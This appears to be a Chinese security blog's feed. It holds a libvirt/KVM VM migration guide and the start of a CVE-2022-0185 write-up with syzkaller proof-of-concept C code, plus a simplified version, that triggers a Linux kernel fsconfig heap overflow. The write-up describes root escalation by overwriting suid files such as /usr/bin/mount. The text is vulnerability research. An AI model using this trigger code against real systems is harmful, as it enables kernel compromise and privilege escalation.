comment">// ...</span><span class="token keyword">return</span> p0<span class="token punctuation">,</span> callIndex0<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>「3」</strong>，根据 crash 构造 C 代码</p><p><strong>「4」</strong>、<strong>「5」</strong>，简化构造成功的 C 代码</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul><li><a href="https://bsauce.github.io/2022/05/14/syzkaller2/">syzkaller 源码阅读笔记2（syz-manager） — bsauce</a></li><li><a href="https://sourcegraph.com/github.com/google/syzkaller@master">https://sourcegraph.com/github.com/google/syzkaller@master</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;syzkaller 中的 syz-manager 负责管理虚拟机，监控 crash，以及复现 crash&lt;/p&gt;
    
    </summary>
    
    
      <category term="syzkaller源码阅读笔记" scheme="http://www.xi4oyu.top/categories/syzkaller%E6%BA%90%E7%A0%81%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/"/>
    
    
      <category term="syzkaller" scheme="http://www.xi4oyu.top/tags/syzkaller/"/>
    
      <category term="fuzz" scheme="http://www.xi4oyu.top/tags/fuzz/"/>
    
  </entry>
  
  <entry>
    <title>kvm 虚拟机迁移笔记</title>
    <link href="http://www.xi4oyu.top/8c042604/"/>
    <id>http://www.xi4oyu.top/8c042604/</id>
    <published>2022-07-24T08:40:00.000Z</published>
    <updated>2022-07-24T08:40:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>这篇文章的起因是：本人笔记本电脑的硬盘太小了，换了个大的，需要重新配置系统（manjaro），重新虚拟机环境过于繁琐且没必要，于是乎考虑直接迁移虚拟机</p><span id="more"></span><blockquote><p><del>其实有一个非常粗暴的方法，直接把相关目录全拷贝一遍就好了</del></p></blockquote><h2 id="一些前提"><a href="#一些前提" class="headerlink" title="一些前提"></a>一些前提</h2><p>这篇文章是基于笔者的笔记本环境的，其中的一些操作要根据读者实际情况自行调整</p><ul><li>系统：manjaro linux</li><li>分区情况：<code>/</code> 和 <code>/home</code> 独立分区，之后打算虚拟机放到 <code>/home</code> 分区里，主要考虑到了重装系统，重装系统也只要覆盖根分区就好了，只需要简单调整下配置就能无缝衔接了</li><li>虚拟机环境：由 libvirt 工具管理的 kvm 虚拟机，一个 windows 10 ，一个 ubuntu 20.04（<del>不要问为什么主系统是 linux 还要配虚拟机 ubuntu</del>）</li></ul><h2 id="备份虚拟机"><a href="#备份虚拟机" class="headerlink" title="备份虚拟机"></a>备份虚拟机</h2><blockquote><p>因为笔者的笔记本只有一个硬盘插槽，所以在换硬盘前得做好虚拟机的备份</p></blockquote><p><strong>首先</strong>，要备份的虚拟机首先要处于<strong>关机</strong>状态，其他情况本文不考虑</p><p><strong>其次</strong>，备份虚拟机<strong>配置文件</strong>，也就是 virsh 使用的 xml 文件，下面以笔者的 ubuntu 20.04 虚拟机为例：</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell"><span class="token function">sudo</span> <span class="token function">virsh</span> dumpxml ubuntu20.04 <span class="token operator">></span> <span class="token variable">$backup</span>/ubuntu/ubuntu20.04.xml<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><blockquote><p>其中的 $backup 存放备份虚拟机所有文件的目录，迁移的时候只要拷贝这个目录就好了</p></blockquote><p><strong>然后</strong>，备份虚拟机的<strong>硬盘镜像文件</strong>，虚拟机的镜像存储在 <code>/var/lib/libvirt/images/</code> 目录下，把对应虚拟机的镜像备份好就行，例</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell"><span class="token function">sudo</span> <span class="token function">cp</span> /var/lib/libvirt/images/ubuntu20.04.qcow2 <span class="token variable">$backup</span>/ubuntu/ubuntu20.04.qcow2<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><blockquote><p>在这一步，突然意识到了问题，就是原有的盘存储空间不足以再存放一份镜像，并且笔者的 U 盘也无法存储足足有 100G 的镜像文件，直接上传到云盘上得等到猴年马月<br>于是乎马上下单外置硬盘盒，打算换好新硬盘装完系统后，直接把旧的硬盘插硬盘盒里接上电脑用，所以这一步笔者其实是直接从外置硬盘拷贝到换好新硬盘的笔记本上的</p></blockquote><p><strong>最后</strong>，理论上第三步就做好了，<strong>但是</strong>，<strong>虚拟机快照</strong>还没有备份，如果读者不需要备份虚拟机快照可以跳过这一步</p><p>笔者虚拟机使用的硬盘镜像格式都是 <strong>qcow2</strong>，快照是记录在镜像里的，使用如下命令查看：</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell">qemu-img snapshot -l xxx.qcow2<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="/images/8c042604/pasted-0.png" alt="snapshot1"></p><p>第一步已经备份好了镜像，那么快照是不是也备份好了呢？</p><p>是，也<strong>不完全是</strong>，对于镜像而言，快照就存储在镜像里，但是 libvirt 工具并不知道这些快照的状态，就是处于这些快照的时候，<strong>配置文件</strong>是什么样的无法通过镜像文件得知，所以还需要备份这些快照的配置文件</p><p>这些快照文件存储在 <code>/var/lib/libvirt/qemu/snapshot</code> 目录下：<br><img src="/images/8c042604/pasted-1.png" alt="snapshot2"></p><p>由于全部虚拟机都要迁移，所以直接备份整个目录就行了</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell"><span class="token function">sudo</span> <span class="token function">cp</span> -r /var/lib/libvirt/qemu/snapshot <span class="token variable">$backup</span>/snapshot<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2 id="恢复虚拟机"><a href="#恢复虚拟机" class="headerlink" title="恢复虚拟机"></a>恢复虚拟机</h2><p>在上一步中备份好了虚拟机，然后把 $backup 的内容都拷贝到了新硬盘的 <code>$HOME/virtualmachine</code> 目录下，接下来就是恢复虚拟机了</p><p><strong>第一歩</strong>，导入虚拟机配置</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell"><span class="token function">sudo</span> <span class="token function">virsh</span> define --file <span class="token environment constant">$HOME</span>/virtualmachine/ubuntu/ubuntu20.04.xml<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><strong>第二步</strong>，恢复镜像</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell"><span class="token function">sudo</span> <span class="token function">cp</span> <span class="token environment constant">$HOME</span>/virtualmachine/ubuntu/ubuntu20.04.qcow2 /var/lib/libvirt/images/ubuntu20.04.qcow2<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>笔者并不打算把虚拟机拷贝到根分区使用，重装系统前还得重新备份，所以这一步实际上笔者是直接用<strong>软连接</strong></p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell"><span class="token function">sudo</span> <span class="token function">ln</span> -sf <span class="token environment constant">$HOME</span>/virtualmachine/ubuntu/ubuntu20.04.qcow2 /var/lib/libvirt/images/ubuntu20.04.qcow2<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><strong>第三步</strong>，恢复快照</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell"><span class="token function">sudo</span> <span class="token function">cp</span> -r <span class="token environment constant">$HOME</span>/virtualmachine/snapshot/ubuntu20.04 /var/lib/libvirt/qemu/snapshot/ubuntu20.04<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>同理，笔者这一步用的也是软连接</p><pre class="line-numbers language-shell" data-language="shell"><code class="language-shell"><span class="token function">sudo</span> <span class="token function">ln</span> -sf <span class="token environment constant">$HOME</span>/virtualmachine/snapshot/ubuntu20.04 /var/lib/libvirt/qemu/snapshot/ubuntu20.04<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>最后将虚拟机开启验证就好了，如果备份虚拟机的镜像文件名有更改，记得在配置文件里也修改为对应的路径</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ol><li><a href="https://www.cnblogs.com/djlsunshine/p/10278363.html">https://www.cnblogs.com/djlsunshine/p/10278363.html</a></li><li><a href="https://cloud.tencent.com/developer/article/1671091">https://cloud.tencent.com/developer/article/1671091</a></li></ol>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;这篇文章的起因是：本人笔记本电脑的硬盘太小了，换了个大的，需要重新配置系统（manjaro），重新虚拟机环境过于繁琐且没必要，于是乎考虑直接迁移虚拟机&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="kvm" scheme="http://www.xi4oyu.top/tags/kvm/"/>
    
      <category term="virsh" scheme="http://www.xi4oyu.top/tags/virsh/"/>
    
      <category term="migrate" scheme="http://www.xi4oyu.top/tags/migrate/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2022-0185</title>
    <link href="http://www.xi4oyu.top/4161b49f/"/>
    <id>http://www.xi4oyu.top/4161b49f/</id>
    <published>2022-04-13T07:52:00.000Z</published>
    <updated>2022-04-13T07:52:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>初尝 pipe_primitive<br><img src="/images/4161b49f/pasted-2.png" alt="exploit"></p><span id="more"></span><h2 id="环境准备"><a href="#环境准备" class="headerlink" title="环境准备"></a>环境准备</h2><p>据漏洞发现者所说<sup>[1][2]</sup>，漏洞影响 linux 5.1 版本之后的内核，v5.16.2 已经修复</p><p>笔者选取 <strong>5.10.6</strong> 自行编译内核复现，在 ubuntu 20.04 环境下构建，编译选项一般默认就行</p><p>因为笔者所使用的利用方式是参考 <strong>veritas501</strong> 学长的 <strong>pipe primitive</strong><sup>[3][4]</sup>，对含有 root suid 权限的文件进行覆盖达到提权的效果，构建的 busybox rootfs 中准备了一个含有 suid 权限的可执行文件用于被任意写覆盖</p><p><strong>实际环境中可以选择 /usr/bin/mount 等程序作为目标</strong></p><p>环境已打包至 github：<a href="https://github.com/featherL/CVE-2022-0185-exploit">https://github.com/featherL/CVE-2022-0185-exploit</a></p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>Syzkaller 给出了一段触发漏洞的 Poc：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">_GNU_SOURCE</span> </span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;endian.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdint.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;string.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/syscall.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/types.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;unistd.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">ifndef</span> <span class="token expression">__NR_fsconfig</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">__NR_fsconfig</span> <span class="token expression"><span class="token number">431</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">endif</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">ifndef</span> <span class="token expression">__NR_fsopen</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">__NR_fsopen</span> <span class="token expression"><span class="token number">430</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">endif</span></span><span class="token class-name">uint64_t</span> r<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token number">0xffffffffffffffff</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token function">syscall</span><span class="token punctuation">(</span>__NR_mmap<span class="token punctuation">,</span> <span class="token number">0x1ffff000ul</span><span class="token punctuation">,</span> <span class="token number">0x1000ul</span><span class="token punctuation">,</span> <span class="token number">0ul</span><span class="token punctuation">,</span> <span class="token number">0x32ul</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0ul</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">syscall</span><span class="token punctuation">(</span>__NR_mmap<span class="token punctuation">,</span> <span class="token number">0x20000000ul</span><span class="token punctuation">,</span> <span class="token number">0x1000000ul</span><span class="token punctuation">,</span> <span class="token number">7ul</span><span class="token punctuation">,</span> <span class="token number">0x32ul</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0ul</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">syscall</span><span class="token punctuation">(</span>__NR_mmap<span class="token punctuation">,</span> <span class="token number">0x21000000ul</span><span class="token punctuation">,</span> <span class="token number">0x1000ul</span><span class="token punctuation">,</span> <span class="token number">0ul</span><span class="token punctuation">,</span> <span class="token number">0x32ul</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0ul</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token class-name">intptr_t</span> res <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token function">memcpy</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token operator">*</span><span class="token punctuation">)</span><span class="token number">0x20000000</span><span class="token punctuation">,</span> <span class="token string">"9p\000"</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span>res <span class="token operator">=</span> <span class="token function">syscall</span><span class="token punctuation">(</span>__NR_fsopen<span class="token punctuation">,</span> <span class="token number">0x20000000ul</span><span class="token punctuation">,</span> <span class="token number">0ul</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>res <span class="token operator">!=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span>r<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> res<span class="token punctuation">;</span><span class="token function">memcpy</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token operator">*</span><span class="token punctuation">)</span><span class="token number">0x20001c00</span><span class="token punctuation">,</span> <span class="token string">"\000\000\344]\233"</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">memcpy</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token operator">*</span><span class="token punctuation">)</span><span class="token number">0x20000540</span><span class="token punctuation">,</span> <span class="token string">"&lt;long string>"</span><span class="token punctuation">,</span> <span class="token number">641</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">syscall</span><span class="token punctuation">(</span>__NR_fsconfig<span class="token punctuation">,</span> r<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">1ul</span><span class="token punctuation">,</span> <span class="token number">0x20001c00ul</span><span class="token punctuation">,</span> <span class="token number">0x20000540ul</span><span class="token punctuation">,</span> <span class="token number">0ul</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">int</span> i<span class="token punctuation">;</span><span class="token keyword">for</span><span class="token punctuation">(</span>i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">64</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token function">syscall</span><span class="token punctuation">(</span>__NR_fsconfig<span class="token punctuation">,</span> r<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">1ul</span><span class="token punctuation">,</span> <span class="token number">0x20001c00ul</span><span class="token punctuation">,</span> <span class="token number">0x20000540ul</span><span class="token punctuation">,</span> <span class="token number">0ul</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token function">memset</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token operator">*</span><span class="token punctuation">)</span><span class="token number">0x20000040</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">memcpy</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token operator">*</span><span class="token punctuation">)</span><span class="token number">0x20000800</span><span class="token punctuation">,</span> <span class="token string">"&lt;long string>"</span><span class="token punctuation">,</span> <span class="token number">641</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">syscall</span><span class="token punctuation">(</span>__NR_fsconfig<span class="token punctuation">,</span> r<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">1ul</span><span class="token punctuation">,</span> <span class="token number">0x20000040ul</span><span class="token punctuation">,</span> <span class="token number">0x20000800ul</span><span class="token punctuation">,</span> <span class="token number">0ul</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span><span class="token punctuation">(</span>i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">64</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token function">syscall</span><span class="token punctuation">(</span>__NR_fsconfig<span class="token punctuation">,</span> r<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">1ul</span><span class="token punctuation">,</span> <span class="token number">0x20000040ul</span><span class="token punctuation">,</span> <span class="token number">0x20000800ul</span><span class="token punctuation">,</span> <span class="token number">0ul</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>经过简化后：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">_GNU_SOURCE</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/syscall.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">ifndef</span> <span class="token expression">__NR_fsconfig</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">__NR_fsconfig</span> <span class="token expression"><span class="token number">431</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">endif</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">ifndef</span> <span class="token expression">__NR_fsopen</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">__NR_fsopen</span> <span class="token expression"><span class="token number">430</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">endif</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">FSCONFIG_SET_STRING</span> <span class="token expression"><span class="token number">1</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">fsopen</span><span class="token expression"><span class="token punctuation">(</span>name<span class="token punctuation">,</span> flags<span class="token punctuation">)</span> <span class="token function">syscall</span><span class="token punctuation">(</span>__NR_fsopen<span class="token punctuation">,</span> name<span class="token punctuation">,</span> flags<span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name function">fsconfig</span><span class="token expression"><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> cmd<span class="token punctuation">,</span> key<span class="token punctuation">,</span> value<span class="token punctuation">,</span> aux<span class="token punctuation">)</span> <span class="token function">syscall</span><span class="token punctuation">(</span>__NR_fsconfig<span class="token punctuation">,</span> fd<span class="token punctuation">,</span> cmd<span class="token punctuation">,</span> key<span class="token punctuation">,</span> value<span class="token punctuation">,</span> aux<span class="token punctuation">)</span></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token keyword">char</span><span class="token operator">*</span> key <span class="token operator">=</span> <span class="token string">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span><span class="token punctuation">;</span><span class="token keyword">int</span> fd <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>fd <span class="token operator">=</span> <span class="token function">fsopen</span><span class="token punctuation">(</span><span class="token string">"9p"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">130</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token function">fsconfig</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> FSCONFIG_SET_STRING<span class="token punctuation">,</span> <span class="token string">"\x00"</span><span class="token punctuation">,</span> key<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>翻看 linux 源码可以知道，存在调用链 <a href="https://elixir.bootlin.com/linux/v5.10.6/source/fs/fsopen.c#L115">fsopen</a> -&gt; <a href="https://elixir.bootlin.com/linux/v5.10.6/source/fs/fs_context.c#L278">fs_context_for_mount</a> -&gt; <a href="https://elixir.bootlin.com/linux/v5.10.6/source/fs/fs_context.c#L267">alloc_fs_context</a> -&gt; <a href="https://elixir.bootlin.com/linux/v5.10.6/source/fs/fs_context.c#L632">legacy_init_fs_context</a>，这为后面的 fsconfig 系统调用，设置相关操作的虚表 <a href="https://elixir.bootlin.com/linux/v5.10.6/source/fs/fs_context.c#L619">legacy_fs_context_ops </a></p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">const</span> <span class="token keyword">struct</span> <span class="token class-name">fs_context_operations</span> legacy_fs_context_ops <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token punctuation">.</span>free<span class="token operator">=</span> legacy_fs_context_free<span class="token punctuation">,</span><span class="token punctuation">.</span>dup<span class="token operator">=</span> legacy_fs_context_dup<span class="token punctuation">,</span><span class="token punctuation">.</span>parse_param<span class="token operator">=</span> legacy_parse_param<span class="token punctuation">,</span><span class="token punctuation">.</span>parse_monolithic<span class="token operator">=</span> legacy_parse_monolithic<span class="token punctuation">,</span><span class="token punctuation">.</span>get_tree<span class="token operator">=</span> legacy_get_tree<span class="token punctuation">,</span><span class="token punctuation">.</span>reconfigure<span class="token operator">=</span> legacy_reconfigure<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>对于 <code>fsconfig(fd, FSCONFIG_SET_STRING, key, value, 0)</code> 的调用，则经过调用链 <a href="https://elixir.bootlin.com/linux/v5.10.6/source/fs/fsopen.c#L439">fsconfig</a> -&gt; <a href="https://elixir.bootlin.com/linux/v5.10.6/source/fs/fsopen.c#L265">vfs_fsconfig_locked</a> -&gt; <a href="https://elixir.bootlin.com/linux/v5.10.6/source/fs/fs_context.c#L117">vfs_parse_fs_param</a> -&gt; <a href="https://elixir.bootlin.com/linux/v5.10.6/source/fs/fs_context.c#L533">legacy_parse_param</a></p><p>漏洞发生在 legacy_parse_param 函数中：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">static</span> <span class="token keyword">int</span> <span class="token function">legacy_parse_param</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">fs_context</span> <span class="token operator">*</span>fc<span class="token punctuation">,</span> <span class="token keyword">struct</span> <span class="token class-name">fs_parameter</span> <span class="token operator">*</span>param<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">struct</span> <span class="token class-name">legacy_fs_context</span> <span class="token operator">*</span>ctx <span class="token operator">=</span> fc<span class="token operator">-></span>fs_private<span class="token punctuation">;</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span> size <span class="token operator">=</span> ctx<span class="token operator">-></span>data_size<span class="token punctuation">;</span><span class="token class-name">size_t</span> len <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">strcmp</span><span class="token punctuation">(</span>param<span class="token operator">-></span>key<span class="token punctuation">,</span> <span class="token string">"source"</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>param<span class="token operator">-></span>type <span class="token operator">!=</span> fs_value_is_string<span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token function">invalf</span><span class="token punctuation">(</span>fc<span class="token punctuation">,</span> <span class="token string">"VFS: Legacy: Non-string source"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>fc<span class="token operator">-></span>source<span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token function">invalf</span><span class="token punctuation">(</span>fc<span class="token punctuation">,</span> <span class="token string">"VFS: Legacy: Multiple sources"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>fc<span class="token operator">-></span>source <span class="token operator">=</span> param<span class="token operator">-></span>string<span class="token punctuation">;</span>param<span class="token operator">-></span>string <span class="token operator">=</span> <span class="token constant">NULL</span><span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>ctx<span class="token operator">-></span>param_type <span class="token operator">==</span> LEGACY_FS_MONOLITHIC_PARAMS<span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token function">invalf</span><span class="token punctuation">(</span>fc<span class="token punctuation">,</span> <span class="token string">"VFS: Legacy: Can't mix monolithic and individual options"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">switch</span> <span class="token punctuation">(</span>param<span class="token operator">-></span>type<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">case</span> fs_value_is_string<span class="token operator">:</span>len <span class="token operator">=</span> <span class="token number">1</span> <span class="token operator">+</span> param<span class="token operator">-></span>size<span class="token punctuation">;</span>fallthrough<span class="token punctuation">;</span><span class="token keyword">case</span> fs_value_is_flag<span class="token operator">:</span>len <span class="token operator">+=</span> <span class="token function">strlen</span><span class="token punctuation">(</span>param<span class="token operator">-></span>key<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">break</span><span class="token punctuation">;</span><span class="token keyword">default</span><span class="token operator">:</span><span class="token keyword">return</span> <span class="token function">invalf</span><span class="token punctuation">(</span>fc<span class="token punctuation">,</span> <span class="token string">"VFS: Legacy: Parameter type for '%s' not supported"</span><span class="token punctuation">,</span>      param<span class="token operator">-></span>key<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>len <span class="token operator">></span> PAGE_SIZE <span class="token operator">-</span> <span class="token number">2</span> <span class="token 